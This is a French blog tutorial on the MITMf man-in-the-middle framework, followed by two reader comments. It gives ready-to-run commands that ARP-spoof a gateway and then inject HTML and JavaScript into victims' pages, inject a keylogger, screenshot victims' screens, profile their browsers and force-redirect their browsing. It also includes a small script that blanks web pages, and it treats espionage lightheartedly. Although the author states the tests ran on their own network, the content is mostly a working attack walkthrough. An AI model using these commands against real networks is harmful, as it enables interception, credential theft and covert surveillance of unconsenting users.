MITMf : Framework MITM

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


Suite aux travaux effectués sur les Rogue AP et après avoir lu les write up d’Antares sur l’outil sergio-proxy, j’ai voulu moi aussi l’explorer. Alors bien évidemment je ne vais pas m’amuser à copier ce qu’Antares à écrit hein… Donc nous, nous allons aborder sergio-proxy en tant que sous-outil de l’outil MITMf.

MITMf est un framework spécialement conçu pour procéder à des attaques de type Man In The Middle.

L’intérêt de cet outil est qu’il regroupe plusieurs autres outils notamment sergio-proxy et sslstrip+ (respectivement développé par supernothing et Leonardo Nve).

I/Installation et fonctionnement

L’outil est disponible dans les dépôts Kali Linux cependant tout ce qui est nécessaire à son fonctionnement ne sera pas installé. Je vous conseille donc de passer par la page d’installation du développeur

Je n’ai pas eu de problèmes pour l’installation donc à priori vous n’en aurez pas non plus 🙂 !

Alors je ne vais pas vous réexpliquer en détails comment fonctionne les MITM (HTTP ou HTTPS), le principe est de se mettre entre la victime et le serveur avec lequel elle communique afin de sniffer des identifiants, des mots de passe ou encore des URL’s de sites visités. Le fonctionnement détaillé est décris ici et ici (partie 1 et partie 2).

Bon maintenant on va pouvoir commencer à s’en servir ! Comme d’habitude, l’ensemble des tests sont fait sur mon matériel et sur un réseau qui m’appartient.

II/Les fonctionnalités

Pour commencer nous allons voir les options que propose MITMf. Pour cela entrez simplement cette commande dans la console :

python mitmf.py

Ce framework offre des possibilités absolument incroyables ! Injection de code javascript, injection de keylogger, injection d’un backdoor via Metasploit, screenshot, capture de cookie, spoofing dhcp dns mais aussi https downgrade. Ça tombe bien j’ai tout un week-end pour jouer avec !

Voici quelques exemples d’options proposées :

Module Inject :

Voici les options disponibles pour le module d’injection :

moduleinject.png

Pour chaque module que vous souhaitez utiliser il faudra inclure l’option qui permet de le charger. Dans ce cas si c’est l’option –inject.

  • Injection de code HTML

On va commencer par du simple, l’injection de code HTML ! Pour pouvoir faire ça nous allons avoir besoin d’un serveur. Pour ma part je vais me servir d’Apache2. Pour lancer Apache2 entrez cette commande :

sudo systemctl start apache2

Ensuite rendez vous dans le dossier /var/html et créez un fichier injection.html. Mettez y ce que vous voulez… Pour ma part je vais mettre un petit script Javascript qui efface le contenu de la page :

	
	



	window.onload = function()
{
 document.write('');
}

On lance la commande :

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.0.1 --inject --html-file '/var/www/html/injection.html'

Maintenant si la victime se connecte sur un site :

injectionhtmlhttp

Le problème ici c’est que le site va d’abord être chargé puis votre fichier va être ajouté par dessus. Donc la victime verra le site apparaître puis disparaître ou se modifier suivant ce que vous avez mis dans votre fichier HTML.

  • Injection de code Javascript :

Malheureusement j’ai beaucoup trop de chose à dire sur cette attaque pour juste la détailler en tant que sous partie de cet article. J’en ferai un article à part ou on se servira du framework Beef.

Module BrowserProfiler:

Le module BrowserProfiler va nous permettre de profiler le moteur de recherche de notre victime.

Pour cela entrez la commande suivante :

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.0.1 --browserprofiler

Voici ce que l’on obtient comme information :

browserprofiler.png

A priori c’est pas ouf comme info mais si l’utilisateur utilise une vieille version d’Internet Explorer et bien ça pourrait nous ouvrir plusieurs possibilités !

Module FilePown :

Encore une fois j’ai beaucoup trop de choses à dire sur cette attaque. Du coup comme pour l’injection de javascript, il y aura un article spécialement dédié à ce module et à Metasploit.

Module ScreenShooter :

Ce module va nous permettre de prendre des screens de l’écran de notre victime.

Entrez la commande suivante :

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.0.1 --screen

Et voici le résultat :

192.168.0.29-www.hostingpics.net-2017-10-07_10:19:51:1507364391

Dans le cadre d’un espionnage ça peut être vraiment terrible !

Module JSKeyLogger :

Pour injecter un keylogger voici la commande à entrer :

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.0.1 --jskeylogger

Et voici ce qu’on voit apparaître sur la console :

keylogger

Dans la catégorie module WTF, on a celui-ci qui permet de renverser les images de 180°. De même un module permet d’afficher l’image de votre choix à la place des images du site. Libre à vous de vous amuser avec ça ahah !

Renverser les images à 180° :

La commande :

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.0.1 --upsidedownternet

Le résultat :

upsidedown

Redirection vers un autre site :

J’ai trouvé qu’il n’y avait pas assez de vues sur mon site ces derniers jours. Je vous avoue que ça me saoule un peu… Et si j’obligeais les gens à se connecter à mon site lorsqu’il navigue sur le web ? Entrez cette commande et ça sera le cas 😀 !

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.0.1 --captive --portalurl https://whiteflagfr.wordpress.com

Évidemment les attaques comme l’arp poisoning le dns spoofing et du coup l’espionnage réseau sont possibles mais comme je les ai déjà détaillé dans d’autres articles je n’y reviendrai pas.


Voilà, c’est tout pour ce court article sur MITMf. J’ai volontairement zappé quelques options. Pour certaines c’est parce que je vais les détailler dans des articles bien plus complets (Injection de Javascript avec BeEf et FilePwn avec Metasploit).

Si vous avez des questions n’hésitez pas à me les poser dans l’onglet contact ou encore directement sur ma page Facebook !

4 commentaires

  1. « Le module BrowserProfiler va nous permettre de profiler le moteur de recherche de notre victime. »

    Je pense que tu voulais dire navigateur. Merci pour l’article, très intéressant comme framework 🙂

    Aimé par 1 personne

    1. Hello, effectivement je parlais bien du navigateur. Pour le coup j’ai écrit ces articles au tout début du blog et il est clairement nécessaire que je les relise pour corriger les erreurs ahah ! En tout cas merci pour ton commentaire 🙂

      J'aime

Répondre à Defte@WhiteFlag Annuler la réponse.

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s